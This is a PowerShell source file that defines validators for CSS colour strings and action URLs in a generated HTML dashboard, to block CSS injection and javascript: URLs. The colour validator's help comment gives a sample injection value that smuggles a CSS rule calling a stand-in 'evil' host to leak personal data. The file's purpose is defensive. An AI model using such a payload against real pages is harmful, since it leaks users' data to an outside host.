Private/Test-DhSafeInput.ps1

function Test-DhSafeCssColor {
    <#
    .SYNOPSIS
        Validate a user-supplied CSS colour for safe use in inline style="…" markup.

    .DESCRIPTION
        Several public cmdlets accept a -Color (or per-item Color) string that the
        JS renderer interpolates into style="background: <Color>" via innerHTML.
        The HTML-escape used elsewhere (esc()) escapes < > & " but does NOT escape
        the CSS metacharacters : ; ( ) — so a malicious caller supplying e.g.

           red; background-image: url(http://evil/log?u=PII)

        would inject arbitrary CSS rules into the style attribute. This validator
        accepts only the four shapes that are useful for chart colours and rejects
        everything else with a deterministic, descriptive error.

        Accepted shapes:
          - #RGB / #RGBA / #RRGGBB / #RRGGBBAA (3-, 4-, 6-, 8-digit hex)
          - rgb(...) / rgba(...) / hsl(...) / hsla(...)
                       — argument list restricted to digits, ., comma, %, space
          - var(--token) — CSS custom-property reference (any --token name)
          - a single CSS named colour token (e.g. 'red', 'darkblue', 'transparent')

    .PARAMETER Color
        The colour string to validate. Empty / null are treated as "no colour
        supplied" and return $null (caller emits no inline-style attribute).

    .PARAMETER Context
        Free-form caller identifier used in the error message (e.g.
        "Add-DhPieChart slice 'Available'").
    #>

    param(
        [string] $Color,
        [string] $Context = 'colour value'
    )

    if ([string]::IsNullOrWhiteSpace($Color)) { return $null }

    $trimmed = $Color.Trim()

    $patterns = @(
        '^#[0-9a-fA-F]{3,4}$',                            # #RGB or #RGBA
        '^#[0-9a-fA-F]{6}$',                              # #RRGGBB
        '^#[0-9a-fA-F]{8}$',                              # #RRGGBBAA
        '^rgba?\(\s*[0-9.,\s%]+\s*\)$',                   # rgb()/rgba()
        '^hsla?\(\s*[0-9.,\s%]+\s*\)$',                   # hsl()/hsla()
        '^var\(\s*--[A-Za-z0-9_-]+\s*\)$',                # var(--token)
        '^[a-zA-Z]{3,32}$'                                # named colour
    )

    foreach ($p in $patterns) {
        if ($trimmed -match $p) { return $trimmed }
    }

    throw "$Context : '$Color' is not a recognised CSS colour. Pass a hex literal (#fff / #ffffff), rgb()/rgba(), hsl()/hsla(), var(--token), or a CSS named colour."
}


function Test-DhSafeActionUrl {
    <#
    .SYNOPSIS
        Validate a user-supplied URL before it flows into window.open() inside the
        generated dashboard.

    .DESCRIPTION
        Add-DhAlertBanner -Action @{Url=…} and Add-DhSummary tile Action.Url are
        both passed straight to window.open(url, '_blank', 'noopener') by the
        JS renderer. Without a scheme allowlist, a caller (or upstream tainted
        data piped into a caller) could supply javascript:… and execute script
        inside the dashboard's origin.

        Allowed schemes: http:, https:, mailto:, tel:, and a leading '#'
        (in-page anchor). Everything else throws.

    .PARAMETER Url
        The URL to validate. Null / empty returns the empty string (no Url
        supplied — the cmdlet caller handles the "Url-not-set" case).

    .PARAMETER Context
        Free-form caller identifier used in the error message.
    #>

    param(
        [string] $Url,
        [string] $Context = 'Action Url'
    )

    if ([string]::IsNullOrWhiteSpace($Url)) { return '' }

    if ($Url -match '^(https?:|mailto:|tel:|#)') { return $Url }

    throw "$Context : '$Url' uses a scheme that is not allowed. Action Url must start with http:, https:, mailto:, tel:, or '#'."
}